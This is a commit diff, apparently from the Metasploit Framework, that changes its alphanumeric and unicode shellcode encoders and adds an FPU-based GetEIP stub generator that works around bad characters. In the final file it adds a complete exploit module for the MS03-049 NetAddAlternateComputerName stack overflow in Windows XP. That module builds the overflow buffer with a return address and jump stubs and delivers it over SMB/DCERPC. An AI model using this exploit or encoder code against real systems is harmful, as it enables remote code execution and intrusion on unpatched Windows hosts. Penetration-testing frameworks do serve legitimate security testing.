First round of bugfixes for encoders. Alphanumeric encoders no longer default the BufferRegister option, since this can lead to non-compatible exploits falling through to these encoders, selecting them, and then crashing. The new method uses a dynamic (not quite poly) geteip generator, that while not yet alphanumeric compatible, it handles most of the known use cases. Remaining items:
1) Figure out how to handle unicode geteip (unicode encoded, alphanum probably) 2) Add keys to the unicode payloads to force a corresponding keyu on the exploit side to enable git-svn-id: file:///home/svn/framework3/trunk@3863 4d416f70-5f16-0410-b530-b9f4589650da
This commit is contained in:
parent
7a051c8ee1
commit
47039ff3fa
|
@ -12,14 +12,12 @@ class Encoder::Alphanum < Msf::Encoder
|
||||||
def initialize(info)
|
def initialize(info)
|
||||||
super(info)
|
super(info)
|
||||||
|
|
||||||
# Defaults based on architecture.
|
|
||||||
reg = 'EAX' if (arch?(ARCH_X86))
|
|
||||||
off = 0
|
off = 0
|
||||||
|
|
||||||
register_options(
|
register_options(
|
||||||
[
|
[
|
||||||
OptString.new('BufferRegister', [ true, "The register that pointers to the encoded payload", reg ]),
|
OptString.new('BufferRegister', [ false, "The register that pointers to the encoded payload" ]),
|
||||||
OptInt.new('BufferOffset', [ true, "The offset to the buffer from the start of the register", off ])
|
OptInt.new('BufferOffset', [ false, "The offset to the buffer from the start of the register", off ])
|
||||||
], Msf::Encoder::Alphanum)
|
], Msf::Encoder::Alphanum)
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
|
@ -344,6 +344,133 @@ module X86
|
||||||
return data
|
return data
|
||||||
end
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# This method returns an array of 'safe' FPU instructions
|
||||||
|
#
|
||||||
|
def self.fpu_instructions
|
||||||
|
fpus = []
|
||||||
|
|
||||||
|
0xe8.upto(0xee) { |x| fpus << "\xd9" + x.chr }
|
||||||
|
0xc0.upto(0xcf) { |x| fpus << "\xd9" + x.chr }
|
||||||
|
0xc0.upto(0xdf) { |x| fpus << "\xda" + x.chr }
|
||||||
|
0xc0.upto(0xdf) { |x| fpus << "\xdb" + x.chr }
|
||||||
|
0xc0.upto(0xc7) { |x| fpus << "\xdd" + x.chr }
|
||||||
|
|
||||||
|
fpus << "\xd9\xd0"
|
||||||
|
fpus << "\xd9\xe1"
|
||||||
|
fpus << "\xd9\xf6"
|
||||||
|
fpus << "\xd9\xf7"
|
||||||
|
fpus << "\xd9\xe5"
|
||||||
|
|
||||||
|
# This FPU instruction seems to fail consistently on Linux
|
||||||
|
#fpus << "\xdb\xe1"
|
||||||
|
|
||||||
|
fpus
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# This method returns an array containing a geteip stub, a register, and an offset
|
||||||
|
# This method will return nil if the getip generation fails
|
||||||
|
#
|
||||||
|
def self.geteip_fpu(badchars)
|
||||||
|
|
||||||
|
#
|
||||||
|
# Default badchars to an empty string
|
||||||
|
#
|
||||||
|
badchars ||= ''
|
||||||
|
|
||||||
|
#
|
||||||
|
# Bail out early if D9 is restricted
|
||||||
|
#
|
||||||
|
return nil if badchars.index("\xd9")
|
||||||
|
|
||||||
|
#
|
||||||
|
# Create a list of FPU instructions
|
||||||
|
#
|
||||||
|
fpus = *self.fpu_instructions
|
||||||
|
bads = []
|
||||||
|
badchars.each_byte do |c|
|
||||||
|
fpus.each do |str|
|
||||||
|
bads << str if (str.index(c.chr))
|
||||||
|
end
|
||||||
|
end
|
||||||
|
bads.each { |str| fpus.delete(str) }
|
||||||
|
return nil if fpus.length == 0
|
||||||
|
|
||||||
|
#
|
||||||
|
# Create a list of registers to use for fnstenv
|
||||||
|
#
|
||||||
|
dsts = []
|
||||||
|
0.upto(7) do |c|
|
||||||
|
dsts << c if (not badchars.index( (0x70+c).chr ))
|
||||||
|
end
|
||||||
|
|
||||||
|
if (dsts.include?(ESP) and badchars.index("\x24"))
|
||||||
|
dsts.delete(ESP)
|
||||||
|
end
|
||||||
|
|
||||||
|
return nil if dsts.length == 0
|
||||||
|
|
||||||
|
#
|
||||||
|
# Grab a random FPU instruction
|
||||||
|
#
|
||||||
|
fpu = fpus[ rand(fpus.length) ]
|
||||||
|
|
||||||
|
#
|
||||||
|
# Grab a random register from dst
|
||||||
|
#
|
||||||
|
while(dsts.length > 0)
|
||||||
|
buf = ''
|
||||||
|
dst = dsts[ rand(dsts.length) ]
|
||||||
|
dsts.delete(dst)
|
||||||
|
|
||||||
|
# If the register is not ESP, copy ESP
|
||||||
|
if (dst != ESP)
|
||||||
|
next if badchars.index( (0x70 + dst).chr )
|
||||||
|
|
||||||
|
if (not (badchars.index("\x89") or badchars.index( (0xE0+dst).chr )))
|
||||||
|
buf << "\x89" + (0xE0 + dst).chr
|
||||||
|
else
|
||||||
|
next if badchars.index("\x54")
|
||||||
|
next if badchars.index( (0x58+dst).chr )
|
||||||
|
buf << "\x54" + (0x58 + dst).chr
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
pad = 0
|
||||||
|
while (pad < (128-12) and badchars.index( (256-12-pad)))
|
||||||
|
pad += 4
|
||||||
|
end
|
||||||
|
|
||||||
|
# Give up on finding a value to use here
|
||||||
|
if (pad == (128-12))
|
||||||
|
return nil
|
||||||
|
end
|
||||||
|
|
||||||
|
out = buf + fpu + "\xd9" + (0x70 + dst).chr
|
||||||
|
out << "\x24" if dst == ESP
|
||||||
|
out << (256-12-pad).chr
|
||||||
|
|
||||||
|
regs = [*(0..7)]
|
||||||
|
while (regs.length > 0)
|
||||||
|
reg = regs[ rand(regs.length) ]
|
||||||
|
regs.delete(reg)
|
||||||
|
next if reg == ESP
|
||||||
|
next if badchars.index( (0x58 + reg).chr )
|
||||||
|
|
||||||
|
# Pop the value back out
|
||||||
|
0.upto(pad / 4) { |c| out << (0x58 + reg).chr }
|
||||||
|
|
||||||
|
# Fix the value to point to self
|
||||||
|
gap = out.length - buf.length
|
||||||
|
|
||||||
|
return [out, REG_NAMES32[reg].upcase, gap]
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
return nil
|
||||||
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
end end
|
end end
|
||||||
|
|
|
@ -32,10 +32,20 @@ class AlphaMixed < Msf::Encoder::Alphanum
|
||||||
# being encoded.
|
# being encoded.
|
||||||
#
|
#
|
||||||
def decoder_stub(state)
|
def decoder_stub(state)
|
||||||
reg = datastore['BufferRegister'] || 'EAX'
|
reg = datastore['BufferRegister']
|
||||||
offset = datastore['BufferOffset'].to_i || 0
|
off = (datastore['BufferOffset'] || 0).to_i
|
||||||
|
buf = ''
|
||||||
|
|
||||||
|
# We need to create a GetEIP stub for the exploit
|
||||||
|
if (not reg)
|
||||||
|
res = Rex::Arch::X86.geteip_fpu(state.badchars)
|
||||||
|
if (not res)
|
||||||
|
raise RuntimeError, "Unable to generate geteip code"
|
||||||
|
end
|
||||||
|
buf, reg, off = res
|
||||||
|
end
|
||||||
|
|
||||||
Rex::Encoder::Alpha2::AlphaMixed::gen_decoder(reg, offset)
|
buf + Rex::Encoder::Alpha2::AlphaMixed::gen_decoder(reg, off)
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
|
@ -43,7 +53,7 @@ class AlphaMixed < Msf::Encoder::Alphanum
|
||||||
# payload.
|
# payload.
|
||||||
#
|
#
|
||||||
def encode_block(state, block)
|
def encode_block(state, block)
|
||||||
Rex::Encoder::Alpha2::AlphaMixed::encode_byte(block.unpack('C')[0], datastore['BadChars'])
|
Rex::Encoder::Alpha2::AlphaMixed::encode_byte(block.unpack('C')[0], state.badchars)
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
|
|
|
@ -32,10 +32,20 @@ class AlphaUpper < Msf::Encoder::Alphanum
|
||||||
# being encoded.
|
# being encoded.
|
||||||
#
|
#
|
||||||
def decoder_stub(state)
|
def decoder_stub(state)
|
||||||
reg = datastore['BufferRegister'] || 'EAX'
|
reg = datastore['BufferRegister']
|
||||||
offset = datastore['BufferOffset'].to_i || 0
|
off = (datastore['BufferOffset'] || 0).to_i
|
||||||
|
buf = ''
|
||||||
|
|
||||||
Rex::Encoder::Alpha2::AlphaUpper::gen_decoder(reg, offset)
|
# We need to create a GetEIP stub for the exploit
|
||||||
|
if (not reg)
|
||||||
|
res = Rex::Arch::X86.geteip_fpu(state.badchars)
|
||||||
|
if (not res)
|
||||||
|
raise RuntimeError, "Unable to generate geteip code"
|
||||||
|
end
|
||||||
|
buf, reg, off = res
|
||||||
|
end
|
||||||
|
|
||||||
|
buf + Rex::Encoder::Alpha2::AlphaUpper::gen_decoder(reg, off)
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
|
@ -43,7 +53,7 @@ class AlphaUpper < Msf::Encoder::Alphanum
|
||||||
# payload.
|
# payload.
|
||||||
#
|
#
|
||||||
def encode_block(state, block)
|
def encode_block(state, block)
|
||||||
return Rex::Encoder::Alpha2::AlphaUpper::encode_byte(block.unpack('C')[0], datastore['BadChars'])
|
return Rex::Encoder::Alpha2::AlphaUpper::encode_byte(block.unpack('C')[0], state.badchars)
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
|
|
|
@ -32,7 +32,7 @@ class UnicodeMixed < Msf::Encoder::Alphanum
|
||||||
# being encoded.
|
# being encoded.
|
||||||
#
|
#
|
||||||
def decoder_stub(state)
|
def decoder_stub(state)
|
||||||
reg = datastore['BufferRegister'] || 'EAX'
|
reg = datastore['BufferRegister'] || raise RuntimeError, "Need BufferRegister"
|
||||||
offset = datastore['BufferOffset'].to_i || 0
|
offset = datastore['BufferOffset'].to_i || 0
|
||||||
|
|
||||||
Rex::Encoder::Alpha2::UnicodeMixed::gen_decoder(reg, offset)
|
Rex::Encoder::Alpha2::UnicodeMixed::gen_decoder(reg, offset)
|
||||||
|
@ -43,7 +43,7 @@ class UnicodeMixed < Msf::Encoder::Alphanum
|
||||||
# payload.
|
# payload.
|
||||||
#
|
#
|
||||||
def encode_block(state, block)
|
def encode_block(state, block)
|
||||||
Rex::Encoder::Alpha2::UnicodeMixed::encode_byte(block.unpack('C')[0], datastore['BadChars'])
|
Rex::Encoder::Alpha2::UnicodeMixed::encode_byte(block.unpack('C')[0], state.badchars)
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
|
|
|
@ -32,7 +32,7 @@ class UnicodeUpper < Msf::Encoder::Alphanum
|
||||||
# being encoded.
|
# being encoded.
|
||||||
#
|
#
|
||||||
def decoder_stub(state)
|
def decoder_stub(state)
|
||||||
reg = datastore['BufferRegister'] || 'EAX'
|
reg = datastore['BufferRegister'] || raise RuntimeError, "Need BufferRegister"
|
||||||
offset = datastore['BufferOffset'].to_i || 0
|
offset = datastore['BufferOffset'].to_i || 0
|
||||||
|
|
||||||
Rex::Encoder::Alpha2::UnicodeUpper::gen_decoder(reg, offset)
|
Rex::Encoder::Alpha2::UnicodeUpper::gen_decoder(reg, offset)
|
||||||
|
@ -43,7 +43,7 @@ class UnicodeUpper < Msf::Encoder::Alphanum
|
||||||
# payload.
|
# payload.
|
||||||
#
|
#
|
||||||
def encode_block(state, block)
|
def encode_block(state, block)
|
||||||
Rex::Encoder::Alpha2::UnicodeUpper::encode_byte(block.unpack('C')[0], datastore['BadChars'])
|
Rex::Encoder::Alpha2::UnicodeUpper::encode_byte(block.unpack('C')[0], state.badchars)
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
|
|
|
@ -0,0 +1,122 @@
|
||||||
|
require 'msf/core'
|
||||||
|
|
||||||
|
module Msf
|
||||||
|
|
||||||
|
class Exploits::Windows::Smb::MS03_049_NETAPI < Msf::Exploit::Remote
|
||||||
|
|
||||||
|
include Exploit::Remote::DCERPC
|
||||||
|
include Exploit::Remote::SMB
|
||||||
|
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'Microsoft NetAddAlternateComputerName MS03-049 Overflow',
|
||||||
|
'Description' => %q{
|
||||||
|
This module exploits a stack overflow in the NetApi32 NetAddAlternateComputerName
|
||||||
|
function using the Workstation service in Windows XP.
|
||||||
|
},
|
||||||
|
'Author' =>
|
||||||
|
[
|
||||||
|
'hdm'
|
||||||
|
],
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Version' => '$Revision: 3720 $',
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
[ 'BID', '9011' ],
|
||||||
|
[ 'CVE', '2003-082' ],
|
||||||
|
[ 'MSB', 'MS03-049' ],
|
||||||
|
[ 'OSVDB', '11461' ],
|
||||||
|
],
|
||||||
|
'DefaultOptions' =>
|
||||||
|
{
|
||||||
|
'EXITFUNC' => 'thread',
|
||||||
|
},
|
||||||
|
'Privileged' => true,
|
||||||
|
'Payload' =>
|
||||||
|
{
|
||||||
|
'Space' => 1000,
|
||||||
|
'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c" + [*(0x80..0x9f)].pack('C*'),
|
||||||
|
'StackAdjustment' => -3500,
|
||||||
|
},
|
||||||
|
'Platform' => 'win',
|
||||||
|
'DefaultTarget' => 0,
|
||||||
|
'Targets' =>
|
||||||
|
[
|
||||||
|
[ 'Windows XP SP0/SP1',
|
||||||
|
{
|
||||||
|
'Ret' => 0x71aa32ad # pop/pop/ret in ws2help.dll
|
||||||
|
}
|
||||||
|
],
|
||||||
|
],
|
||||||
|
|
||||||
|
'DisclosureDate' => 'Nov 11 2003'))
|
||||||
|
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
OptString.new('SMBPIPE', [ true, "The pipe name to use (BROWSER, WKSSVC)", 'BROWSER']),
|
||||||
|
], self.class)
|
||||||
|
|
||||||
|
end
|
||||||
|
|
||||||
|
def exploit
|
||||||
|
|
||||||
|
connect()
|
||||||
|
smb_login()
|
||||||
|
|
||||||
|
handle = dcerpc_handle(
|
||||||
|
'6bffd098-a112-3610-9833-46c3f87e345a', '1.0',
|
||||||
|
'ncacn_np', ["\\#{datastore['SMBPIPE']}"]
|
||||||
|
)
|
||||||
|
|
||||||
|
print_status("Binding to #{handle} ...")
|
||||||
|
dcerpc_bind(handle)
|
||||||
|
print_status("Bound to #{handle} ...")
|
||||||
|
|
||||||
|
print_status("Building the stub data...")
|
||||||
|
|
||||||
|
|
||||||
|
name = Rex::Text.rand_text_alphanumeric(5000)
|
||||||
|
name[3496, 4] = [target.ret].pack('V')
|
||||||
|
name[3492, 2] = "\xeb\x06"
|
||||||
|
name[3500, 5] = "\xe9" + [-3505].pack('V')
|
||||||
|
name[0, payload.encoded.length] = payload.encoded
|
||||||
|
|
||||||
|
=begin
|
||||||
|
name[0, payload.encoded.length] = "\xcc" * payload.encoded.length
|
||||||
|
buff = [*(0x7f..255)].pack('C*')
|
||||||
|
payload_badchars.each_byte do |c|
|
||||||
|
buff.delete!(c.chr)
|
||||||
|
end
|
||||||
|
|
||||||
|
name[3505, buff.length] = buff
|
||||||
|
=end
|
||||||
|
|
||||||
|
stub =
|
||||||
|
NDR.long(rand(0xffffffff)) +
|
||||||
|
NDR.UnicodeConformantVaryingString("\\\\#{datastore['RHOST']}") +
|
||||||
|
NDR.long(rand(0xffffffff)) +
|
||||||
|
NDR.UnicodeConformantVaryingString(name) +
|
||||||
|
NDR.long(rand(0xffffffff)) +
|
||||||
|
NDR.UnicodeConformantVaryingString('') +
|
||||||
|
NDR.long(0) +
|
||||||
|
NDR.long(0)
|
||||||
|
|
||||||
|
print_status("Calling the vulnerable function...")
|
||||||
|
|
||||||
|
begin
|
||||||
|
dcerpc.call(0x1b, stub)
|
||||||
|
rescue Rex::Proto::DCERPC::Exceptions::NoResponse
|
||||||
|
rescue => e
|
||||||
|
if e.to_s !~ /STATUS_PIPE_DISCONNECTED/
|
||||||
|
raise e
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
# Cleanup
|
||||||
|
handler
|
||||||
|
disconnect
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
end
|
Loading…
Reference in New Issue